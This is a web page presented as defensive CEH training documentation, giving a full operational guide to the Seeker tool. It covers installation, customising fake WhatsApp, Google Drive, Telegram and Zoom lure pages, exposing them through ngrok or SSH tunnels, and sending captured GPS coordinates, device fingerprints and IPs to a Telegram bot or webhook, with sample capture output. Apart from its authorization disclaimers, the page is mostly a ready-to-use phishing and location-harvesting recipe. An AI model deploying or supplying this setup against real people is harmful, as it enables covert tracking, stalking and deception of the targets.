Location-Based Social Engineering Analysis | Defensive Security Documentation
CEH v13 Training Material⚙️
Installation Instructions
🔐 Prerequisites & Warnings
- Python 3.8+ required
- Root/admin privileges needed for some installations
- Isolated lab environment strongly recommended
- Written authorization required before testing against any target
Kali • Ubuntu • Fedora • Parrot • Termux
🐧 Debian-Based Systems
// Clone repository
git clone https://github.com/thewhiteh4t/seeker.git
// Navigate to directory
cd seeker/
// Make installer executable
chmod +x install.sh
// Run installation script
./install.sh
// Verify installation
python3 seeker.py --version
Seeker v1.2.5
BlackArch
⚡ BlackArch Linux
// Install via pacman (BlackArch repo)
sudo pacman -S seeker
// Verify installation
seeker --version
Seeker v1.2.5
Docker
🐳 Docker Container
// Pull official image
docker pull thewhiteh4t/seeker
// Run container interactively
docker run --rm -it thewhiteh4t/seeker
// Or with port mapping for web access
docker run --rm -it -p 8080:8080 thewhiteh4t/seeker
🚀
Basic Usage & Command Reference
📋 Help & Version Information
// Display help menu
python3 seeker.py -h
// Show version
python3 seeker.py -v
Seeker v1.2.5
// Check for updates
python3 seeker.py -u
🎯 Core Command Options
| Option | Description | Default | Example |
|---|---|---|---|
-h, --help |
Show help message and exit | - | python3 seeker.py -h |
-p, --port PORT |
Web server port number | 8080 | -p 1337 |
-t, --template TEMPLATE |
Auto-select template by index | Interactive | -t 1 (NearYou) |
-k, --kml KML |
Output KML filename for Google Earth | None | -k target_location.kml |
-d, --debugHTTP |
Disable auto HTTP→HTTPS redirect (testing) | False | -d |
--telegram |
Send results to Telegram bot | Disabled | --telegram token:chatId |
--webhook |
Forward events to webhook endpoint | Disabled | --webhook https://example.com/hook |
🔧 Step-by-Step Basic Usage
- Start Seeker server:
python3 seeker.py [+] Starting Seeker on port 8080... [+] Available templates: [1] NearYou [2] Google Drive [3] WhatsApp [4] Telegram [5] Zoom [6] Google reCAPTCHA [>] Select template:
- Select template (or use -t flag):
// Interactive selection [>] Select template: 3 [+] Template selected: WhatsApp // Or pre-select via command line python3 seeker.py -t 3
- Start tunnel service for public access:
// In a NEW terminal window: ./ngrok http 8080 ngrok by @inconshreveable Session Status: online Forwarding: https://abc123.ngrok.io -> http://localhost:8080 // Alternative: localhost.run (no install required) ssh -R 80:localhost:8080 nokey@localhost.run
- Share link for testing (AUTHORIZED ONLY):
⚠️ Critical Reminder Only share test links with:
- ✅ Your own devices in isolated lab
- ✅ Systems with explicit written authorization
- ✅ Educational demonstrations with consent
- ❌ NEVER share with unauthorized targets
🌐
Environment Variables Configuration
Many command-line options can also be set via environment variables for easier deployment and automation.
| Variable | Equivalent Flag | Description | Example Value |
|---|---|---|---|
DEBUG_HTTP |
-d, --debugHTTP |
Disable auto HTTP→HTTPS redirect for testing | 1 or true |
PORT |
-p, --port |
Web server listening port | 1337 |
TEMPLATE |
-t, --template |
Pre-select template by index number | 3 (WhatsApp) |
TITLE |
- | Custom page/group title for template | "Security Verification" |
REDIRECT |
- | URL to redirect user after data capture | https://legitimate-site.com |
IMAGE |
- | Image URL or local path for template | https://example.com/logo.png |
DESC |
- | Description text for template page | "Verify your account" |
SITENAME |
- | Display name of the website | "WhatsApp Web" |
DISPLAY_URL |
- | URL shown on the page (for display only) | web.whatsapp.com |
MEM_NUM |
- | Number of group members (Telegram template) | 1247 |
ONLINE_NUM |
- | Online members count (Telegram template) | 89 |
TELEGRAM |
--telegram |
Telegram bot token and chat ID | 123456:ABC-DEF123:-987654321 |
WEBHOOK |
--webhook |
Webhook endpoint URL for event forwarding | https://api.example.com/hook |
💡 Usage Examples with Environment Variables
// Set variables in shell before running
export PORT=9000
export TEMPLATE=2
export TITLE="Document Access Request"
export REDIRECT="https://drive.google.com"
// Then run seeker (no flags needed)
python3 seeker.py
// Or set inline for single command
PORT=9000 TEMPLATE=2 python3 seeker.py
// For Telegram notifications
export TELEGRAM="123456:ABC-DEF123:-987654321"
python3 seeker.py -t 4
[+] Results will be sent to Telegram bot
🐳
Docker Deployment Guide
🔧 Basic Docker Usage
// Pull the official image
docker pull thewhiteh4t/seeker
// Run interactively with port mapping
docker run --rm -it -p 8080:8080 thewhiteh4t/seeker
// Run with custom template pre-selected
docker run --rm -it -p 8080:8080 thewhiteh4t/seeker python3 seeker.py -t 1
🌐 Docker + Ngrok Integration (Advanced)
- Create isolated Docker network:
docker network create ngroknet Created network ngroknet
- Start Seeker container on the network:
docker run --rm -it \ --net ngroknet \ --name seeker \ thewhiteh4t/seeker [+] Starting Seeker on port 8080...
- Start Ngrok container on same network:
docker run --rm -it \ --net ngroknet \ --name ngrok \ wernight/ngrok \ ngrok http seeker:8080 Forwarding: https://xyz789.ngrok.io -> http://seeker:8080
- Access via the ngrok URL (for authorized testing only)
💡 Docker Pro Tips:
• Use
• Mount volumes with
• Add
• Use
• Use
--rm to auto-remove containers after exit• Mount volumes with
-v $(pwd):/data to persist KML outputs• Add
-e VARIABLE=value to pass environment variables• Use
docker-compose for multi-container orchestration
📁
Output Formats & Available Templates
🗂️ Available Templates
| Index | Template Name | Use Case | Best For |
|---|---|---|---|
| 1 | NearYou | Generic location request page | Basic testing, educational demos |
| 2 | Google Drive | Fake file access verification | Phishing awareness training |
| 3 | Fake WhatsApp Web login | Mobile security education | |
| 4 | Telegram | Fake Telegram group invite | Social engineering awareness |
| 5 | Zoom | Fake meeting verification | Remote work security training |
| 6 | Google reCAPTCHA | Fake bot verification page | Advanced phishing simulation |
📤 Output Options
// Generate KML file for Google Earth visualization
python3 seeker.py -k target_location.kml -t 1
[+] KML file saved: target_location.kml
// View KML in Google Earth
// File → Open → Select target_location.kml
// Shows captured location as placemark with accuracy circle
// Console output during capture
[+] Target granted location permission
[+] Latitude: 25.2048
[+] Longitude: 55.2708
[+] Accuracy: 28.5 meters
[+] Device: Android 13, Chrome Mobile
[+] IP: 185.xxx.xxx.xxx (Etisalat UAE)
🔗 Telegram & Webhook Integration
// Send results to Telegram bot
// 1. Create bot via @BotFather, get token
// 2. Get chat ID via @userinfobot or similar
python3 seeker.py --telegram 123456:ABC-DEF123:-987654321 -t 3
[+] Telegram integration enabled
[+] Results will be forwarded to your bot
// Forward events to custom webhook
// Endpoint must accept POST requests, no auth required
python3 seeker.py --webhook https://api.example.com/seeker-hook -t 2
[+] Webhook integration enabled
[+] Events POSTed to: https://api.example.com/seeker-hook
// Sample webhook payload (JSON)
{
"event": "location_captured",
"timestamp": "2026-05-09T14:32:18Z",
"location": {
"latitude": 25.2048,
"longitude": 55.2708,
"accuracy": 28.5
},
"device": {
"os": "Android 13",
"browser": "Chrome Mobile 114",
"fingerprint": "a1b2c3d4..."
},
"network": {
"public_ip": "185.xxx.xxx.xxx",
"isp": "Etisalat UAE"
}
}
🔧
Troubleshooting & Common Issues
| Issue | Possible Cause | Solution |
|---|---|---|
Permission denied: install.sh |
Script not executable | chmod +x install.sh then retry |
ModuleNotFoundError: requests |
Python dependencies not installed | Run ./install.sh or pip3 install -r requirements.txt |
Address already in use: 8080 |
Port 8080 occupied by another process | Use -p 1337 or kill conflicting process |
ngrok: command not found |
Ngrok not installed or not in PATH | Install via brew install ngrok or download from ngrok.com |
Location not accurate / fallback to IP |
Device lacks GPS or permission denied | Test on smartphone with GPS enabled; accuracy depends on hardware |
Template not loading / 404 errors |
Missing template files or wrong path | Re-clone repository; ensure you're in seeker/ directory |
Telegram bot not receiving messages |
Invalid token/chatId or bot not started | Verify token format token:chatId; ensure bot is running |
Webhook connection refused |
Endpoint unreachable or requires auth | Ensure endpoint is public, accepts POST, and has no authentication |
🔐 Security Best Practices
- Always run in isolated VM/lab environment
- Never expose Seeker directly to internet without tunnel service
- Rotate ngrok URLs frequently; don't reuse for multiple tests
- Delete captured data immediately after authorized testing
- Document all testing activities with timestamps and authorization
- Use environment variables instead of hardcoding sensitive values